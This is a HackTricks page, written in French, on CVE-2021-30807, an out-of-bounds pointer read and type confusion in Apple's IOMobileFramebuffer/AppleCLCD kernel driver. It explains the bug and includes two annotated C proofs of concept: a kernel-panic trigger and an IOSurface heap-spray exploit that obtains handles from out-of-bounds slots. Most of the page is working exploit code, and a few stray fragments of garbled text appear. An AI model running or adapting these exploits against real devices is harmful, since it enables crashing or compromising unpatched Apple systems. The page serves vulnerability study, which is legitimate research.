hacktricks/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md

# CVE-2021-30807: IOMobileFrameBuffer OOB

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## La faille

Vous avez une [excellente explication de la vuln ici](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), mais pour résumer :

- Le chemin de code vulnérable est **external method #83** du client utilisateur **IOMobileFramebuffer / AppleCLCD** : `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Cette méthode reçoit un paramètre contrôlé par l'utilisateur qui n'est vérifié d'aucune manière et qui est transmis à la fonction suivante sous le nom **`scalar0`**.

- Cette méthode appelle **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, où **`scalar0`** (une valeur **32-bit** contrôlée par l'utilisateur) est utilisée comme **index** dans un **tableau interne de pointeurs** sans **aucune vérification de bornes** :

> `ptr = *(this + 0xA58 + scalar0 * 8);` → passé à `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` comme un **`IOSurface*`**.\
> **Résultat :** **OOB pointer read & type confusion** sur ce tableau. Si le pointeur n'est pas valide, le déréférencement du kernel panique → **DoS**.

> [!NOTE]
> Ceci a été corrigé dans **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**


> [!WARNING]
> La fonction initiale pour appeler `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` est protégée par l'entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Cependant, **WebKit.WebContent** possède cet entitlement, donc il peut être utilisé pour déclencher la vuln depuis un processus sandboxé.

## PoC DoS

Le PoC DoS suivant est le PoC initial du billet de blog original avec des commentaires supplémentaires :
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## Arbitrary Read PoC expliqué

1. **Ouverture du bon user client**

-   `get_appleclcd_uc()` trouve le service **AppleCLCD** et ouvre le **user client type 2**. AppleCLCD et IOMobileFramebuffer partagent la même table external-methods ; le type 2 expose **selector 83**, la méthode vulnérable. **C'est votre point d'entrée vers le bug.** E_POC/)

**Pourquoi 83 est important :** le chemin décompilé est :

-   `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
À l'intérieur de cet appel final, le code **utilise votre scalaire 32 bits comme index de tableau sans vérification de bornes**, récupère un pointeur depuis **`this + 0xA58 + index*8`**, et **le passe en tant que `IOSurface*`** à `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **C'est le OOB + la confusion de type.**

2. **The heap spray (pourquoi IOSurface apparaît ici)**

-   `do_spray()` utilise **`IOSurfaceRootUserClient`** pour **créer de nombreux IOSurfaces** et **spray small values** (style `s_set_value`). Cela remplit les kernel heaps voisins avec **des pointeurs vers des objets IOSurface valides**.

-   **Objectif :** lorsque selector 83 lit au-delà de la table légitime, la **slot OOB contient probablement un pointeur vers l'un de vos IOSurfaces (réels)** — donc la déréférence qui suit **ne plante pas** et **réussit**. IOSurface est un primitive classique de kernel spray bien documentée, et le post de Saar liste explicitement les méthodes **create / set_value / lookup** utilisées pour ce flux d'exploitation.

3. **L'astuce "offset/8" (ce que cet index est vraiment)**

-   Dans `trigger_oob(offset)`, vous définissez `scalars[0] = offset / 8`.

-   **Pourquoi diviser par 8 ?** Le kernel fait **`base + index*8`** pour calculer quelle **case de la taille d'un pointeur** lire. Vous choisissez **"numéro de case N"**, pas un offset en octets. **Huit octets par case** sur du 64-bit.

-   Cette adresse calculée est **`this + 0xA58 + index*8`**. Le PoC utilise une grosse constante (`0x1200000 + 0x1048`) simplement pour s'avancer **très hors des limites** vers une région que vous avez essayé de **peupler densément avec des pointeurs IOSurface**. **Si le spray "gagne", la case visée est un `IOSurface*` valide.**

4. **Ce que renvoie selector 83 (c'est la partie subtile)**

-   L'appel est :

`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o

-   En interne, après la récupération du pointeur OOB, le pilote appelle\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.

-   **Résultat :** **`output_scalars[0]` est un Mach port name (handle u32) dans votre task** pour *n'importe quel pointeur d'objet que vous avez fourni via l'OOB*. **Ce n'est pas une fuite d'adresse kernel brute ; c'est un handle en espace utilisateur (send right).** Ce comportement exact (copie d'un *port name*) est montré dans la décompilation de Saar.

**Pourquoi c'est utile :** avec un **port name** vers le (soi-disant) IOSurface, vous pouvez maintenant utiliser des **méthodes IOSurfaceRoot** comme :

-   **`s_lookup_surface_from_port` (method 34)** → transformer le port en un **surface ID** sur lequel vous pouvez opérer via d'autres appels IOSurface, et

-   **`s_create_port_from_surface` (method 35)** si vous avez besoin de l'inverse.\
Saar mentionne explicitement ces méthodes comme étape suivante. **Le PoC démontre que vous pouvez « fabriquer » un handle IOSurface légitime à partir d'une case OOB.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)

Ce [PoC provient de ici](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) et des commentaires ont été ajoutés pour expliquer les étapes :
```c
#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## Références
- [Article original de Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Recherche de jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)

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